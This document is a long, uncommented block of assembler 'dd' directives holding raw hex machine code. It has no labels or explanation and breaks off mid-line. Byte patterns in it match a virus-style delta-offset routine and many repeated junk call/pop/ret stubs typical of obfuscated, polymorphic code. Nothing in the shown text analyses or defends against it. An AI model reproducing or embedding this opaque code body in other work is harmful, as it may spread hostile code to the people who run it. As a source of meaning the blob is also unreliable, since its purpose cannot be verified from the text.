0D4C2D7DBh, 6052B7CEh dd 800Fh, 11E90000h, 46000000h, 8113340Bh, 0C49E4115h dd 764E929Ch, 0FF4786ABh, 22E95B61h, 6A000002h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 988EC350h, 0A808F0Dh, 79376A6Eh, 6800Fh, 0BD890000h dd 60713FDh, 0A6A5858Bh, 5E9060Ah, 4F000000h, 713E9164h dd 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 6D9AC6C3h, 0A6A9B58Bh, 6A060Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 929CC4C3h, 0B589764Eh, 6072BADh, 0C21858Bh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0CA117AC3h, 76B3580Bh, 6A0689h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 583B8DC3h, 37BFF599h dd 8B0DBEB4h, 7062985h, 4EC38106h, 892C987Ch, 6A0446h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0BD47E4C3h, 7A356C38h, 58D31F6h, 0E906070Eh, 5, 8800C672h dd 13E85096h, 0E6000000h, 7A496487h, 5380C92h, 183FCECCh dd 50710DF2h, 5250F64Ah, 0FE8h, 6C687200h, 1B45F985h, 9B6B68C7h dd 0A70DA023h, 0E9310F5Fh, 8, 3BB7F581h, 2A9CBC7Ah, 895B585Ah dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0FFD730C3h, 0AA6A5B5h, 0C99D0B06h, 81060704h dd 0B46801CFh, 4E811h, 3FF0000h, 8B66001Fh, 448B50D9h dd 0BB660424h, 8BCE64h, 4489DE8Ah, 7CBF0424h, 587E0586h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0A3C35040h dd 0A17E19B5h, 0BFBC0B4Eh, 1D619529h, 0F88B0607h, 0A6AD858Dh dd 6653060Ah, 5B5E36BFh, 70DBF50h, 48942F3h, 0DABF0F24h dd 1D0195FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0BF0FF3C3h, 896061DFh, 70DA585h dd 4D958906h, 6106071Fh, 2D0585C7h, 30607h, 0BF0F0000h dd 0ADBD83FEh, 60AA6h, 48840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 42E929C3h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 4E8BC351h, 1F1FBFCDh, 3035BD8Bh dd 30500607h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0C4B4955Bh, 0A51B3C2h, 95096005h dd 6071E55h, 7E9h, 57C56B00h, 5490E3EEh, 2850F61h, 50000000h dd 51006A5Bh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0EE2DBDDAh, 8E9h, 0E3CC2800h, 20A917EEh dd 61BD0101h, 8306072Bh, 72D05BDh, 850F0306h, 4BEh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 82C35646h, 0BD8332F4h dd 60AA6ADh, 93840F00h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FF7AC355h dd 0AA6ADB5h, 68E0F06h, 23000000h, 702619Dh, 2CBB6606h dd 3D95FF14h, 6A060704h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0AADDC352h, 0C1712CBCh dd 0FF9A173h, 683h, 319D8B00h, 89060710h, 71339B5h, 0A1B58B06h dd 60060AA6h, 998D89h, 0C9B40607h, 106C761h, 0F000100h dd 0C88h, 6810F00h, 0F000000h, 8Dh, 3AB35000h, 0BF243489h dd 71C21C9Ah, 0A6ADB5FFh, 6A060Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 919FDAC3h, 0E8DD82E7h dd 14h, 77169F29h, 71D517BAh, 8FCD9E08h, 3A5A340h, 0E9EAF33Eh dd 0DE9h, 0B62B3C00h, 16A50C35h, 65967F3Dh, 315BE93Fh dd 712D595h, 5595FF06h, 6A06071Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 37F1C357h dd 8B8C0C46h, 0AA6A1B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0F557CB5Dh, 9D8B565Fh dd 607280Dh, 89858B5Bh, 6A060713h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0EBEBC356h dd 0FBF38042h, 0C48689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0F70ADBC3h, 679958Bh dd 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 5300B7C3h, 0CBB785CAh, 0FB8BD56Dh, 0F91B160h dd 38Fh, 0D9BF0F00h, 4C28361h, 50895B50h, 51006A20h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 1F858D63h, 6A060ABAh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 5ABDC353h, 72D1C99Ah dd 8B60889Dh, 710A995h, 0CE906h, 2EC30000h, 0A0648069h dd 961BAEC4h, 0B361D869h, 0B8868953h, 1000000h, 70BA98Dh dd 0F9006A06h, 0A6ADB5FFh, 9529060Ah, 6073085h, 1AF995FFh dd 0A5BB0607h, 962322E3h, 57F7BFBFh, 6A96503Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 80ECC353h, 518F4481h, 6880F60h, 89000000h, 727A1B5h dd 0FE906h, 13C30000h dd 74F952E6h, 635E5F90h, 80C02D2h, 0B5FF6153h, 60AA6ADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E9C35141h dd 43918307h, 6662BEA3h, 95FFFB8Bh, 6071529h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F2C35646h, 0AE9A33Dh dd 33000000h, 9938C01Ch, 0F0F00915h, 0CE781F1h, 83618B81h dd 712A5BDh, 840F0006h, 4Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 4EC35141h, 8960A114h, 72F3DB5h dd 718D8906h, 6106071Dh, 6860F60h, 8B000000h, 71AADBDh dd 0FD8D8B06h, 6106071Dh, 24348950h, 961B589h, 0B5FF0607h dd 60AA6ADh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 5DC35040h, 0AAE50099h, 9D9D8BD4h, 0FF060732h, 7055595h dd 51858906h, 6006071Eh, 0D529C081h, 12E9171Eh, 0B9000000h dd 46431E84h, 0FC70800h, 1FA2DD8Dh, 0E7669CD8h, 0B5FF61C1h dd 60AA6ADh, 1FF995FFh, 81600607h, 57FDD3F0h, 0B5096140h dd 6071AADh, 1F1DBD83h, 0F020607h, 7F84h, 0C800F00h, 0E9000000h dd 7, 36E96AE0h, 8BC25D84h, 706DD85h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 1B45F985h, 9B6B68C7h, 0B1950923h, 0C6060708h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0E94A51C3h, 0Dh, 0E8199737h, 0AD011D2Ch, 55610E3Ch dd 6E94Ah, 0A7110000h, 0DBB13F7Dh, 269185C7h, 607h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0FC4628C3h, 10ED9589h, 39E90607h, 6AFFFFF2h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 0D3F8C350h, 52FAF0B3h, 8D095CA5h, 6070B7Dh, 0A959D8Bh dd 0C18B0607h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 2FC35646h, 64669B00h, 0E105BB66h, 785858Dh, 6A0607h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 966D32C3h, 66F8537Bh, 369FEF81h, 0A54BB90h, 0F502BAFh dd 0A89h, 50525000h, 0B3310F5Bh, 90585A24h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0C8C35141h, 68C0Fh dd 9D890000h, 6070C45h, 57F38166h, 0E9006A9Dh, 13h, 86C1DA45h dd 79E43D0Dh, 8D9D6915h, 0C3D42D73h, 6A6363A5h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 5604FBABh, 0D6245625h, 0F7812054h, 3A7046D0h, 0F1B70F60h dd 8D6133B7h, 0C1A9485h, 0F88B5606h, 5C0835Fh, 67EF8166h dd 8E0F5009h, 7, 5F1BBB57h, 895F28F1h, 6AF92404h, 0D88B6600h dd 0BD8B006Ah, 6072229h, 21C19531h, 95FF0607h, 60704C1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 95C35646h dd 1949E529h, 0ED0F271Ah, 0A64F8D8Dh, 6660060Ah, 0FBB9FBAh dd 86h, 0D1FF6100h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 51C35141h, 85893DA7h, 6071F75h, 218DBD83h dd 0F010607h, 5D85h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0B5F35F1Bh, 59FF0FE9h dd 0B350026Ah, 240489D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0D7C35343h, 6AA911ABh, 1739BD8Bh, 95FF0607h dd 6071AF9h, 1718D89h, 59E90607h, 0E800000Dh, 0 dd 9EED815Dh, 8B060C1Ah, 0A19D8BFEh, 6A06071Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 118DC357h, 0F3511AFBh, 9529EB87h, 60700B5h, 9108858Dh dd 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0F79EB2C3h, 50DB0183h, 8B665250h, 8B310FDAh dd 89585AFAh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 4C30E8C3h, 0F24B6D79h, 0B995896Eh dd 66060715h, 64E6ACBFh, 35FFh, 8D090000h, 6070865h, 698D89h dd 89640607h, 25h, 6E900h, 46320000h, 483FFE11h, 32F185FFh dd 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 6AF9D8C3h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 66C498DFh, 0FFEB7C1Fh dd 72ABDB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0E6822636h, 6AD008E3h, 0A21BD23h dd 95FF0607h, 6071AC9h, 113E9h, 0A1E78100h, 0B06D2C1Ch dd 0D8D8900h, 0E6060713h, 0ED9D8B70h, 66060701h, 0E912CF81h dd 3CF971E4h, 0ED830F61h, 0F000000h, 0B60FDEB7h, 6BAF9C8h dd 0F000000h, 68Ah, 0BD858900h, 8B06070Ch, 70DB81C1h, 0C154CEF0h dd 9D0304E8h, 6071E5Dh, 81E2F766h, 68D651C7h, 66C82B3Ch dd 0D9D2E381h, 0B751D18Bh, 0A9E95F8Ah, 8B000000h, 7064D9Dh dd 4C858B06h, 66505F4Ch, 0C083D98Bh, 0BE907h, 0A83E0000h dd 22C2CDA3h, 675FEF8Fh, 0C083C3h, 20558D89h, 0D03B0607h dd 34830Fh, 6E80000h, 37000000h, 0E5533126h, 8D8589DBh dd 5B06072Ah, 5FE9h, 0FE900h, 6E620000h, 0A310B152h, 0E6733075h dd 18FCA532h, 3880F09h, 0F000000h, 8D8BDBB7h, 0FFFFFFFFh dd 0AE9h, 2275A500h, 962CCB38h, 83CF0304h, 840F01E1h, 24h dd 5D3FBF66h, 8558531h, 0A5830607h, 0FFFFFFFFh, 0CD9D8BFEh dd 8906070Dh, 5F4C4C95h, 0E9DE8B50h, 0 dd 99C7B58Dh, 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 66B388C3h, 15BDCB81h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0E93AA7C3h, 8B6058E6h, 7123DB5h, 0FF61F806h, 716B595h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 7D9F1637h, 79D9D33h, 0BD8B0607h, 6070CF9h dd 0F1CB9h, 0A5B3BF00h, 0E1836443h, 0A7EBBBFCh, 6AFC055Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 469AC355h, 0B46FF5C9h, 0FAACEE16h, 21FFDF81h dd 95897476h, 60715D1h, 0BAC02Bh, 66000000h, 0ADD3D5BBh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 56DDC351h dd 6CFF3C0Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0E0C35242h, 76AFFF75h, 3406D4DAh, 0D9BD2BACh, 0D06072Ch dd 88h, 7E9h, 0C63CA500h, 0C932823Ah, 679958Bh, 6A0607h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 53C55FC3h, 8B5A4139h, 0FA8B66DEh, 2CE58D8Bh, 0BD230607h dd 60711D5h, 50D9BF0Fh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 89875774h, 7004585h, 0C9BD8906h dd 66060702h, 8B2BC3BFh, 0E5BD83FEh, 60710h, 0AF840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0B88335C3h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 59C35242h dd 2A3C6992h, 8DF93DF6h, 74E1C8Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0FFDE634h dd 68Dh, 0B9BD2B00h, 0FF060708h, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0A0D5522h dd 0E93E61C9h, 11h, 0A27B9719h, 126B11DDh, 4A6E2A64h, 5DCBC704h dd 5BD83CFh, 6072Dh, 43A840Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0DCE4AC3h dd 0DCE5FA75h, 5BD83F8h, 106072Dh, 425840Fh, 8E90000h dd 0AB000000h, 4D17623Dh, 3386E2DDh, 71991BDh, 5BD8306h dd 306072Dh, 3CF860Fh, 0BF660000h, 6A602E98h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 9D3DC353h, 0BD9D31F9h, 66060707h, 830FD98Ch, 18h, 0DE8h dd 0B952A600h, 5D62D3h, 70212AF9h, 0D0BFD216h, 5F4FE76Ch dd 2904E180h, 70DB195h, 0FC90A06h, 10A84h, 61BD8B00h, 0E806070Bh dd 5, 45552A15h, 25D381AFh, 5F54E655h, 629858Bh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 880FBEC3h, 11h, 0CE9h, 0B4FC6100h, 7D067F2Dh, 6AF43A08h dd 75853375h, 6A06071Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 50F4C350h, 489DE8Bh dd 6A006A24h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0A89AC351h, 0BEDA80BFh, 68C0Fh dd 0BD8B0000h, 6071CD1h, 5A681868h, 815B527Dh, 6BE72434h dd 6A7D45h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 31027AC3h, 71AF595h, 195FF06h, 0E906071Dh dd 0Ah, 50911EE2h, 5E9A11AAh, 9D8BD4B0h, 6072655h, 0A6AD8589h dd 9D8B060Ah, 6072E39h, 1D8E9h, 0A5B52900h, 8B06072Eh dd 0AA6A585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F4819096h, 221AD20Bh, 6860FF7h dd 2B000000h, 7140D9Dh, 1800C706h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 66ADC352h, 8BD583BFh, 0AA6A9B5h, 7E906h, 0EB600000h dd 0D19F1AE1h, 21858B08h, 0F506070Ch, 271B589h, 6890607h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1FC35242h dd 61875905h, 8B2FB30Ch, 7062985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 4259C6FDh dd 81082FE8h, 0EBDB96F3h, 0FD9D3318h, 89060727h, 6A0446h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0D79ACC3h, 8B68E4E6h, 96E9B3FBh, 16F8BF66h, 66525050h dd 0F08A4BFh, 0E6BB5631h, 5B0CFDF8h, 8996585Ah, 72D759Dh dd 0A5B5FF06h, 8B060AA6h, 701ED9Dh, 4E806h, 3FF0000h, 8C0F001Fh dd 18h, 13E9h, 0D7ABED00h, 0A765CED2h, 9DD4A71h, 7039F0C8h dd 6819171Eh, 890F5150h, 5, 500DC5BFh, 448B5F0Fh, 9E80424h dd 11000000h, 64C8FDBCh, 230FE68h, 8A008B5Bh, 244489DCh dd 735FBB04h, 6A584901h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 3B06C350h, 2E79BD8Bh dd 858D0607h, 60AA6ADh, 0EE890h, 5A660000h, 451232F5h dd 98F245A6h, 0E6C3BF61h, 505BFA8Bh, 33E9BF66h, 5ABB6690h dd 195FFA4h, 906071Dh, 7087985h, 6A6106h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 561CA9C3h dd 31F4D7CDh, 0C71DB3B1h, 72D0585h, 306h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 1A4C3B91h, 534EF91Ch, 0A6ADBD83h, 0F00060Ah, 3884h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 17AAA640h, 0D1AC5BC5h, 258D31FFh, 66060730h dd 0E93BC5BFh, 20h, 0D88B6652h, 0C30505Bh, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0B8C35141h, 890Fh, 5E80000h, 3F000000h dd 14460FBAh, 2FB98D89h, 835F0607h, 72D05BDh, 850F0306h dd 3B6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0B0C35747h, 81BD8B69h, 60060709h, 12E9h, 0A5CD0C00h dd 6CA5A0Dh, 805087D2h, 64434405h, 90A7005h, 708959Dh dd 0BD836106h, 60AA6ADh, 67840F00h, 0E9000003h, 0Ch, 526115A1h dd 2F7A24BAh, 31F130Ah, 0A6ADB5FFh, 6A060Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0D78145C3h dd 3E65A7A2h, 43D95FFh, 0B70F0607h, 0A1B58BDEh, 8B060AA6h dd 703B5BDh, 106C706h, 33000100h, 70261BDh, 34895006h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 78376319h, 66B3E9E1h, 1201D381h, 0A6ADB5FFh dd 0FFFC060Ah, 71A5595h, 0CB816606h, 0B58BC5A7h, 60AA6A1h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 7AC35343h dd 656C48EEh, 6870FADh, 8B000000h, 725F99Dh, 89858B06h dd 6A060713h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 0F444C352h, 8922DA0Ch, 0C486h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0F97385Eh, 382h, 56DB8000h, 10E9h, 0E55E0900h dd 0EA86C438h, 0F9EC0A6Eh, 7C6157FEh, 79958B45h, 60060706h dd 38A0Fh, 0B70F0000h, 0E68166D3h, 8361FEAEh, 6A04C2h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 8A321DC3h, 0F88B66F7h, 89DBBF0Fh, 6A2050h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0AA37B5C3h dd 0F73ADCEh, 858DD9BFh, 60ABA1Fh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 0D0C35242h, 14B54477h, 895376A6h dd 0B886h, 12E900h, 2A1C0000h, 7C573356h, 0E41F5EE3h, 56392E53h dd 53E2F800h, 9D8B006Ah, 60727D1h, 0A6ADB5FFh, 8D89060Ah dd 6072D21h, 1AF995FFh, 0CBBB0607h, 50305D47h, 0BF665153h dd 5B5FDEB4h, 8B243489h, 730DD9Dh, 0ADB5FF06h, 89060AA6h dd 7156DB5h, 2995FF06h, 0F060715h, 0C82h, 68B0F00h, 29000000h dd 700A185h, 0A5BD8306h, 60712h, 2F840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 8B3F25C3h, 70A419Dh, 0DAB70F06h dd 85BB6650h, 243489B9h, 0ADB5FFFCh, 81060AA6h, 0E85C12DFh dd 5595FF54h, 6A060705h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 356DC352h, 2CA65AF1h dd 2B81BD89h, 0B5FF0607h, 60AA6ADh, 14E9h, 9A245A00h, 2DF86F3h dd 44471557h, 21D71005h, 4902519Bh, 0F995FF98h, 6A06071Fh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 1D5DC356h, 0B6DBD89h, 9D230607h, 6072E89h dd 1F1DBD83h, 0F020607h, 3484h, 0D98B6600h, 12B18D89h dd 858B0607h, 60706DDh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 5C35040h, 8B0000C6h, 716C1BDh, 9185C706h dd 60726h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 450CC353h, 0DCB5FCF0h, 30A99D09h dd 0A0E90607h, 81FFFFF3h, 0D8C3A6C3h, 23C18B23h, 7037D9Dh dd 0D88B6606h, 785858Dh, 0B5310607h, 6072AC1h, 5E950h dd 1E210000h, 8986A016h, 29562404h, 713F185h, 0B5895F06h dd 6071561h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0BC1CEFC3h, 0E37FF0DEh, 6A00B3h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8CC35242h dd 1BAD262Bh, 0B70F53EFh, 858D5FDAh, 60C2A05h, 1D79B529h dd 0C0830607h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 47864D8h, 0B35040FDh dd 24048979h, 66DFB70Fh, 6AD98Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 7DC35747h, 0BFA507ABh, 91256367h dd 3D9D010Dh, 6A060720h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 0F9A74CD6h, 4C195FFh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 0F8BD87C3h, 0BBD4A839h, 70BBB270h, 0A64F8D8Dh dd 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 694915C3h, 0C14D5359h, 0B3ED9637h, 59952974h dd 0FF06071Fh, 8E8D1h, 0C14D0000h, 63ED9637h, 60533DABh dd 535B5F61h, 5E9h, 0D0BAA600h, 835FABCCh, 7218DBDh, 850F0106h dd 87h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h dd 0B5C35040h, 0E3D9D89h, 26A0607h, 14E9h, 574F2900h, 5112A638h dd 50F30C3Bh, 0D161B2BCh, 61E2065Ah, 0B3BF90A1h, 505389EDh dd 614FB160h, 0FFDE8B90h, 71AF995h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 3ED3690h, 0F9FF6F86h dd 0E381A91Fh, 111F30EBh, 891139BFh, 0D1B58953h, 0E9060709h dd 0E51h, 0E8h, 0ED815D00h, 60C2A0Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 31C35343h, 5DD2B47Bh, 211A2B30h dd 7E8h, 0C8E72700h, 0EC866EEEh, 4DBD29h, 6A5F0607h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 25ECC351h, 8DD24804h, 0A910885h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 7DB51F75h dd 61BD8BB5h, 50060726h, 0AE8h, 0EF4D6900h, 0E1B0716Dh dd 66021431h, 5F3FE1BFh, 6A240489h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AFFDC355h dd 0FF642D44h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0CDA63D07h, 0BD8BA9A7h dd 6070651h, 258964h, 89000000h, 7280D85h, 7DCB8006h, 32F185FFh dd 0BD8B0607h, 6071DCDh, 6AFF6Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 0B9FA51C3h, 0FE8B66EBh dd 114FBF66h, 399B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 0EBB412C3h, 66B19D05h dd 95FFFB8Bh, 6071AC9h, 126E9h, 0E99D8900h, 0B0060721h dd 5370E600h, 10EDBD8Bh, 0E45B0607h, 14E971h, 0B1970000h dd 0B4C4F623h, 29198615h, 994E9F11h, 0ABAA42D3h, 613C8C7Ah dd 0F1830Fh, 9D010000h, 6070E29h, 8BC8B60Fh, 71521BDh dd 6880F06h, 8B000000h, 70DA59Dh, 6BA06h, 0CBF0000h, 8B5A0EA0h dd 704F99Dh, 80C18B06h, 9D8BDADFh, 6071681h, 8904E8C1h dd 707E995h, 0E2F76606h, 0C82BF88Bh, 0D18BDF8Bh, 5BFA8B57h dd 9EE9h, 7DB58900h, 8B06070Eh, 47554C85h, 0AAEF8049h dd 0A4F591BBh, 7C08346h, 0F00C083h, 0FE8BDBBFh, 830FD03Bh dd 2Eh, 0AE8h, 500FF400h, 8D1147D8h, 0E945DFBFh, 0Fh, 96CF647Dh dd 0AC9CBEB5h, 0A1322A20h, 5BE7A33Ah, 4EE9h, 0DF816600h dd 8D8BEA84h, 0FFFFFFFFh, 10419589h, 8B600607h, 70ACD95h dd 6E906h, 0DEC90000h, 1E3BDB7Bh, 1E18361h, 21840Fh, 8D010000h dd 6070AD5h, 0FFFFA583h, 8BFEFFFFh, 715E99Dh, 4C958906h dd 66494755h, 0E9FB8Bh, 8D000000h, 0BA8E3B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 813A9579h, 0EA724DE3h, 0B9953163h, 6A060714h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 89745CFFh, 715398Dh, 0F9852906h, 0FF060700h, 716B595h dd 0CF8B6006h, 2791BD8Bh, 1610607h, 70285BDh, 0DB7B906h dd 0E1830000h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 8F663470h, 37E98D63h dd 437DE9BFh, 0EE905h, 760D0000h, 0ECD303E8h, 70CA5410h dd 78376319h, 0EE9FCh, 38DC0000h, 0FBE44775h, 53B45A6Fh dd 2417C33Eh, 8E9C02Bh, 6C000000h, 266DC286h, 0BA6AF20Fh dd 0 dd 33AD26B3h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 3347BC3h dd 6010E73Fh, 0EBBCC781h, 0EE93582h, 0B9000000h, 0BB64E988h dd 6687C846h, 1CA3A928h, 8B606110h, 0F1D881FAh, 61244B3Ah dd 4459509h, 880D0607h, 53000000h, 7E9h, 0D0A33D00h, 0B5A850FFh dd 79958B5Bh, 8B060706h, 71525BDh, 0E58D8B06h, 